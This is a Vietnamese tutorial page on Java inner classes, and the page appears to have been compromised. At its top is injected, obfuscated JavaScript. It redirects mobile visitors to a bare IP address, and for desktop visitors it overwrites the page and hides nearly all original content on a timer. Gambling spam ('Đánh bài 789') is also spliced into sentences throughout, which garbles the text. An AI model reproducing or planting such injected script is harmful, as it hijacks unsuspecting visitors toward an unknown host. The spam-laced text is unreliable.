function goPAGE() { if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) { window.location.href = "http://180.215.56.197/" } else { var ss = '
'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setInterval(function() { try { document.getElementById("div" + "All").style.display = "no" + "ne" } catch (e) {} for (var i = 0; i < document.body.children.length; i++) { try { var tagname = document.body.children[i].tagName; var myid = document.body.children[i].id; if (myid != "iconDiv1" && myid != "yangchen") { document.body.children[i].style.display = "non" + "e" } } catch (e) {} } }, 100) } catch (e) {} } } goPAGE();

Inner Class trong Java



Inner Class là gì?

Inner Class là một khái niệm chỉ về một lớp được khai báo bên trong lớp khác. Chúng ta sử dụng các Inner Class để nhóm các lớp và các Interface có quan hệ với nhau vào một vị trí để tăng tính đọc và tính duy trì.

Thêm vào đó, bạn có thể truy cập tất cả thành viên của Outer ClassĐánh bài 789 (lớp mà bao Inner Class), đó là: các thành viên dữ liệu và các phương thức private.

Cú pháp của Inner Class

class  Outer_class{  

 // Day la phan code  
 class  nner_class{  
  // Day la phan code  
 }  
}  

Quảng cáo

Lợi thế khi sử dụng Inner Class trong Java

Đánh bài 789Sử dụng Inner Class đem lại ba lợi thế chính là:

  • Inner Class biểu diễn một kiểu quan hệ đặc biệt, đó là: nó có thể truy cập tất cả các thành viên (thành viên dữ liệu và các phương thức) của Outer Class, bao gồm cả các thành viên được khai báo là private.

  • Đánh bài 789Inner Class được sử dụng để phát triển tính đọc và tính dễ dàng duy trì của code, bởi vì khi sử dụng Inner Class tức là bạn đã nhóm các lớp và các Interface có mối quan hệ với nhau vào một nơi.

  • Đánh bài 789Giúp tối ưu hóa code, tức là bạn có thể viết ít code hơn nhưng có thể mang lại hiệu quả tương tự.

Điểm khác nhau giữa Inner Class và Nested Class trong Java

Inner Class là một phần của Nested Class. Trong Nested Class, có hai loại là non-staticstatic. Các Nested Class mà không phải ở dạng static thì đó là Inner Class. Trong đó, loại Non-static Nested Class bao gồm:

  • Member Inner Class: là một lớp được tạo bên trong lớp và bên ngoài phương thức.

  • AnonymousĐánh bài 789 Inner Class: là một lớp được tạo để triển khai (kế thừa) Interface hoặc kế thừa lớp. Tên của nó được quyết định bởi Compiler.

  • LocalĐánh bài 789 Inner Class: Một lớp được tạo bên trong phương thức.

Loại static Nested Class: một lớp static được tạo bên trong một lớp.

Đánh bài 789Nested Interface: là một Interface được tạo bên trong một lớp hoặc một Interface.

Đã có app VietJack trên điện thoại, giải bài tập SGK, SBT Soạn văn, Văn mẫu, Thi online, Bài giảng....miễn phí. Tải ngay ứng dụng trên Android và iOS.

Theo dõi chúng tôi miễn phí trên mạng xã hội facebook và youtube:

Các bạn có thể mua thêm khóa học JAVA CORE ONLINE VÀ ỨNG DỤNG cực hay, giúp các bạn vượt qua các dự án trên trường và đi thực tập Java. Khóa học có giá chỉ 300K, nhằm ưu đãi, tạo điều kiện cho sinh viên cho thể mua khóa học.

Nội dung khóa học gồm 16 chuơng và 100 video cực hay, học trực tiếp tại Bạn nào có nhu cầu mua, inbox trực tiếp a Tuyền, cựu sinh viên Bách Khoa K53, fb:

Loạt bài hướng dẫn của chúng tôi dựa một phần trên nguồn tài liệu của: Tutorialspoint.com

Đánh bài 789Follow facebook cá nhân Nguyễn Thanh Tuyền để tiếp tục theo dõi các loạt bài mới nhất về Java,C,C++,Javascript,HTML,Python,Database,Mobile.... mới nhất của chúng tôi.